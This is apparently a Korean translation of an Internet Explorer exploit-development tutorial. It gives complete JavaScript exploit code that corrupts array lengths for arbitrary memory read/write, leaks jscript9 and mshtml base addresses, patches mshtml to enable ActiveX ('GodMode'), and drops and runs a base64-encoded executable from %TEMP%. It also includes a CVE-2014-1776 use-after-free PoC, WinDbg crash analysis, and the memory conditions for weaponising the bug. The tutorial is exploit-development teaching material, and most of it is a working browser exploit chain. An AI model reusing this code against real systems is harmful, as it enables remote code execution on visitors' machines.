109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
<html>
<head>
<script language="javascript">
  (function () {
    CollectGarbage();
 
    var header_size = 0x20;
    var array_len = (0x10000 - header_size)/4;
    var a = new Array();
    for (var i = 0; i < 0x1000++i) {
      a[i] = new Array(array_len);
      a[i][0= 0;
    }
    
    magic_addr = 0xc000000;
    
    //           /------- allocation header -------\ /--------- buffer header ---------\
    // 0c000000: 00000000 0000fff0 00000000 00000000 00000000 00000001 00003ff8 00000000
    //                                                       array_len buf_len
    
    alert("Modify the \"Buffer length\" field of the Array at 0x" + magic_addr.toString(16));
    
    // Locate the modified Array.
    var idx = -1;
    for (var i = 0; i < 0x1000 - 1++i) {
      // We try to modify the first element of the next Array.
      a[i][array_len + header_size/4= 1;
      
      // If we successfully modified the first element of the next Array, then a[i]
      // is the Array whose length we modified.
      if (a[i+1][0== 1) {
        idx = i;
        break;
      }
    }
    
    if (idx == -1) {
      alert("Can't find the modified Array");
      return;
    }
    
    // Modify the second Array for reading/writing everywhere.
    a[idx][array_len + 0x14/4= 0x3fffffff;
    a[idx][array_len + 0x18/4= 0x3fffffff;
    a[idx+1].length = 0x3fffffff;
    var base_addr = magic_addr + 0x10000 + header_size;
    
    // Very Important:
    //    The numbers in Array are signed int32. Numbers greater than 0x7fffffff are
    //    converted to 64-bit floating point.
    //    This means that we can't, for instance, write
    //        a[idx+1][index] = 0xc1a0c1a0;
    //    The number 0xc1a0c1a0 is too big to fit in a signed int32.
    //    We'll need to represent 0xc1a0c1a0 as a negative integer:
    //        a[idx+1][index] = -(0x100000000 - 0xc1a0c1a0);
    
    function int2uint(x) {
      return (x < 0) ? 0x100000000 + x : x;
    }
 
    function uint2int(x) {
      return (x >= 0x80000000) ? x - 0x100000000 : x;
    }
 
    // The value returned will be in [0, 0xffffffff].
    function read(addr) {
      var delta = addr - base_addr;
      var val;
      if (delta >= 0)
        val = a[idx+1][delta/4];
      else
        // In 2-complement arithmetic,
        //   -x/4 = (2^32 - x)/4
        val = a[idx+1][(0x100000000 + delta)/4];
      
      return int2uint(val);
    }
    
    // val must be in [0, 0xffffffff].
    function write(addr, val) {
      val = uint2int(val);
      
      var delta = addr - base_addr;
      if (delta >= 0)
        a[idx+1][delta/4= val;
      else
        // In 2-complement arithmetic,
        //   -x/4 = (2^32 - x)/4
        a[idx+1][(0x100000000 + delta)/4= val;
    }
    
    function get_addr(obj) {
      a[idx+2][0= obj;
      return read(base_addr + 0x10000);
    }
    
    // Back to determining the base address of MSHTML...
    // Here's the beginning of the element div:
    //      +----- jscript9!Projection::ArrayObjectInstance::`vftable' = jscript9 + 0x2d50
    //      v
    //  04ab2d50 151f1ec0 00000000 00000000
    //  6f5569ce 00000000 0085f5d8 00000000
    //      ^
    //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x1569ce
    var addr = get_addr(document.createElement("div"));
    jscript9 = read(addr) - 0x2d50;
    mshtml = read(addr + 0x10- 0x1569ce;
    
    var old1 = read(mshtml+0xebcd98+0x10);
    var old2 = read(mshtml+0xebcd98+0x14);
 
    function GodModeOn() {
      write(mshtml+0xebcd98+0x10, jscript9+0x155e19);
      write(mshtml+0xebcd98+0x14, jscript9+0x155d7d);
    }
    
    function GodModeOff() {
      write(mshtml+0xebcd98+0x10, old1);
      write(mshtml+0xebcd98+0x14, old2);
    }
 
    // content of exe file encoded in base64.
    runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
 
    function createExe(fname, data) {
      GodModeOn();
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      GodModeOff();
      
      tStream.Type = 2;       // text
      bStream.Type = 1;       // binary
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
      tStream.CopyTo(bStream);
      
      var bStream_addr = get_addr(bStream);
      var string_addr = read(read(bStream_addr + 0x50+ 0x44);
      write(string_addr, 0x003a0043);       // 'C:'
      write(string_addr + 40x0000005c);   // '\'
      try {
        bStream.SaveToFile(fname, 2);     // 2 = overwrites file if it already exists
      }
      catch(err) {
        return 0;
      }
      
      tStream.Close();
      bStream.Close();
      return 1;
    }
    
    function decode(b64Data) {
      var data = window.atob(b64Data);
      
       // Now data is like
      //   11 00 12 00 45 00 50 00 ...
      // rather than like
      //   11 12 45 50 ...
      // Let's fix this!
      var arr = new Array();
      for (var i = 0; i < data.length / 2++i) {
        var low = data.charCodeAt(i*2);
        var high = data.charCodeAt(i*2 + 1);
        arr.push(String.fromCharCode(low + high * 0x100));
      }
      return arr.join('');
    }
 
    GodModeOn();
    var shell = new ActiveXObject("WScript.shell");
    GodModeOff();
    fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
    if (createExe(fname, decode(runcalc)) == 0) {
//      alert("SaveToFile failed");
      window.location.reload();
      return 0;
    }
    shell.Exec(fname);
 
    alert("Done");
  })();
</script>
</head>
<body>
</body>
</html>
cs


생략된 runcalc는 아래 링크를 통해 다운로드 받을 수 있습니다.

  • http://expdev-kiuhnm.rhcloud.com/wp-content/uploads/2015/06/code5.zip


코드를 테스트 해보시면 정상적으로 동작할 것 입니다.



UAF 버그


아래 링크에서 찾은 UAF 버그를 사용하도록 하겠습니다.

  • https://withgit.com/hdarwin89/codeengn-2014-ie-1day-case-study/tree/master


POC는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<html xmlns:v="urn:schemas-microsoft-com:vml">
<head id="haed">
<title>IE Case Study - STEP1</title>
<style>
        v\:*{Behavior: url(#default#VML)}
</style>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" />
<script>
        window.onload = function (){
            var head = document.getElementById("haed")
            tmp = document.createElement("CVE-2014-1776")
            document.getElementById("vml").childNodes[0].appendChild(tmp)
            tmp.appendChild(head)
            tmp = head.offsetParent
            tmp.onpropertychange = function(){
                this["removeNode"](true)
                document.createElement("CVE-2014-1776").title = ""
            }
            head.firstChild.nextSibling.disabled = head
        }
</script>
</head>
<body><v:group id="vml" style="width:500pt;"><div></div></group></body>
cs


gflag를 이용해 iexplore.exe HPA UST를 설정합니다.



IE 에서 페이지를 열면 다음과 같은 위치에서 충돌이 발생합니다.


MSHTML!CMarkup::IsConnectedToPrimaryMarkup:

0aa9a244 8b81a4000000    mov     eax,dword ptr [ecx+0A4h] ds:002b:12588c7c=????????   <------------ crash!

0aa9a24a 56              push    esi

0aa9a24b 85c0            test    eax,eax

0aa9a24d 0f848aaa0800    je      MSHTML!CMarkup::IsConnectedToPrimaryMarkup+0x77 (0ab24cdd)

0aa9a253 8b400c          mov     eax,dword ptr [eax+0Ch]

0aa9a256 85c0            test    eax,eax


ECX에 의해 해제된 객체가 가리켜지고 있습니다. 객체의 크기를 구해보도록 하겠습니다.



0:007> ? 1000 - (@ecx & fff)

Evaluate expression: 1064 = 00000428


따라서, 객체의 크기는 0x428 바이트 입니다.

 

아래는 스택 트레이스 입니다.


0:007> k 10

ChildEBP RetAddr  

0a53b790 0a7afc25 MSHTML!CMarkup::IsConnectedToPrimaryMarkup

0a53b7d4 0aa05cc6 MSHTML!CMarkup::OnCssChange+0x7e

0a53b7dc 0ada146f MSHTML!CElement::OnCssChange+0x28

0a53b7f4 0a84de84 MSHTML!`CBackgroundInfo::Property<CBackgroundImage>'::`7'::`dynamic atexit destructor for 'fieldDefaultValue''+0x4a64

0a53b860 0a84dedd MSHTML!SetNumberPropertyHelper<long,CSetIntegerPropertyHelper>+0x1d3

0a53b880 0a929253 MSHTML!NUMPROPPARAMS::SetNumberProperty+0x20

0a53b8a8 0ab8b117 MSHTML!CBase::put_BoolHelper+0x2a

0a53b8c0 0ab8aade MSHTML!CBase::put_Bool+0x24

0a53b8e8 0aa3136b MSHTML!GS_VARIANTBOOL+0xaa

0a53b97c 0aa32ca7 MSHTML!CBase::ContextInvokeEx+0x2b6

0a53b9a4 0a93b0cc MSHTML!CElement::ContextInvokeEx+0x4c

0a53b9d0 0a8f8f49 MSHTML!CLinkElement::VersionedInvokeEx+0x49

0a53ba08 6ef918eb MSHTML!CBase::PrivateInvokeEx+0x6d

0a53ba6c 6f06abdc jscript9!HostDispatch::CallInvokeEx+0xae

0a53bae0 6f06ab30 jscript9!HostDispatch::PutValueByDispId+0x94

0a53baf8 6f06aafc jscript9!HostDispatch::PutValue+0x2a


충돌이 발생하는 정확한 지점으로 breakpoint를 설정할 필요가 있습니다. HPA 설정을 끄게 되면 ECX는 우리가 선택한 문자열을 가리키게 됩니다.

 

차단된 컨텐츠 허용을 하기 전에 아래와 같이 breakpoint를 설정합니다.


bp MSHTML!CMarkup::IsConnectedToPrimaryMarkup


breakpoint는 충돌이 일어나기 전에 많이 발생됩니다. 또한, IE에서 페이지를 클릭하면 breakpoint는 더 발생 할 것입니다. IE에서 차단된 컨텐츠 허용바로 직후에 호출되는 부모 호출에 초기 breakpoint를 설정하는 것이 더 나아 보입니다. 아래 breakpoint가 완벽해 보입니다.


bp MSHTML!CBase::put_BoolHelper


breakpoint가 동작하게 되면 다음 breakpoint도 설정합니다.


bp MSHTML!CMarkup::IsConnectedToPrimaryMarkup


충돌이 일어나기 직전까지 마지막 breakpoint 3번 동작하게 됩니다. 따라서, 아래와 같이 단일 breakpoint를 이용할 수 있습니다.


bp MSHTML!CBase::put_BoolHelper "bc *; bp MSHTML!CMarkup::IsConnectedToPrimaryMarkup 3; g"


해보시면 모든것이 완벽히 동작하는 것을 볼 수 있습니다.

 

이제 ECX가 우리의 문자열을 가리키게 할 수 있습니다. 하지만 진행하기 전에 HPA UST 설정을 비활성화 시켜주세요.



아래는 수정된 자바스크립트 코드 입니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<html xmlns:v="urn:schemas-microsoft-com:vml">
<head id="haed">
<title>IE Case Study - STEP1</title>
<style>
        v\:*{Behavior: url(#default#VML)}
</style>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" />
<script>
        window.onload = function (){
            var head = document.getElementById("haed")
            tmp = document.createElement("CVE-2014-1776")
            document.getElementById("vml").childNodes[0].appendChild(tmp)
            tmp.appendChild(head)
            tmp = head.offsetParent
            tmp.onpropertychange = function(){
                this["removeNode"](true)
                document.createElement("CVE-2014-1776").title = ""
                
                var elem = document.createElement("div");
                elem.className = new Array(0x428/2).join("a");
            }
            head.firstChild.nextSibling.disabled = head
        }
</script>
</head>
<body><v:group id="vml" style="width:500pt;"><div></div></group></body>
</html>
cs


아래 breakpoint를 기억해주세요.


bp MSHTML!CBase::put_BoolHelper "bc *; bp MSHTML!CMarkup::IsConnectedToPrimaryMarkup 3; g"


breakpoint가 동작하면 다음과 비슷한 화면을 보게 될 것 입니다.




UAF 버그 (2)


IDA에서 이 버그를 분석해보도록 하겠습니다.

 

여기서는 문자열의 콘텐츠를 어떻게 찾는지 하나하나 설명하지 않겠습니다. 왜냐하면 이 작업은 매우 지루하고 배울게 많이 없기 때문입니다. 먼저 IDA 없이도 따라오실수 있도록 관련 그래프를 보여드리고 UAF 버그를 익스플로잇과 선택된 배열의 크기 수정을 위한 전체 구조를 보여드리도록 하겠습니다.

 

IDA에서 mshtml을 열고 Ctrl+P (jump to function)을 눌릅니다. 이 후, Search를 클릭하고 CMarkup::IsConnectedToPrimaryMarkup을 칩니다. 함수를 더블 클릭하면 충돌 지점을 확인할 수 있습니다.



배경이 칠해진 노드는 코드에서 실행된 것을 의미합니다. 분홍 노드는 충돌 지점을 가지고 있고 하늘색은 덮어 써진 명령을 가지는데 이는 선택한 배열의 크기를 수정할 때 사용할 것입니다.

 

IsConnectedToPrimaryMarkup의 시그너처를 클릭하고 Ctrl + X를 눌러 CMarkup::OnCssChange를 선택합니다. 아래는 OnCssChange의 그래프 입니다.



아래는 CMarkup::IsPendingPrimaryMarkup의 그래프 입니다.



다음은 CMarkup::Root의 그래프 입니다.



다음은 CElement::EnsureFormatCacheChange의 그래프 입니다.



그리고 마지막으로 아래는 CView::AddInvalidationTask의 그래프로 이 함수는 덮어 쓴 명령 (inc)을 가지고 있습니다.



제가 만든 전체 구조는 다음과 같습니다.


Conditions to control the bug and force an INC of dword at magic_addr + 0x1b:

X = [ptr+0A4h] ==> Y = [X+0ch] ==>

            [Y+208h] is 0

            [Y+630h+248h] = [Y+878h] val to inc!      <======

            [Y+630h+380h] = [Y+9b0h] has bit 16 set

            [Y+630h+3f4h] = [Y+0a24h] has bit 7 set

            [Y+1044h] is 0

U = [ptr+118h] ==> [U] is 0 => V = [U-24h] => W = [V+1ch],

            [W+0ah] has bit 1 set & bit 4 unset

            [W+44h] has bit 7 set

            [W+5ch] is writable

[ptr+198h] has bit 12 set


처음 2 줄을 보도록 하겠습니다.


X = [ptr+0A4h] ==> Y = [X+0ch] ==>

            [Y+208h] is 0


ptr danling pointer (우리의 문자열을 가리키고 있는) 입니다. 2 줄의 의미는 X ptr + 0x0a4의 값일 때, Y X+0x0c의 값이 되고, 이는 [Y + 0x208] 0 이 됨을 뜻합니다.

 

구조를 이해하는데 시간을 들이셔야 하고 약간의 시행착오도 필요합니다. 목적은 명령을 덮어 쓰고 어떤 충돌없이 자바스크립트 코드를 재개할 수 있는 실행 경로를 도출하는 구조를 찾는 것입니다.

 

실행 경로에 반드시 있어야 할 노드 식별부터 시작하는게 좋습니다. 그 후, 실행 경로에 속하는 노드들에 대한 조건을 찾을 수 있습니다. 이 작업들이 모두 끝낫다면 그래프들을 돌아 다니면서 어떤 노드가 반드시 필요한 노드에 연결될 수 있는 적절한 노드인지 찾아 다닐 수 있습니다.

 

위 구조에 대해 그래프와 실행 경로를 보면서 맞는지 확인하시기 바랍니다.

댓글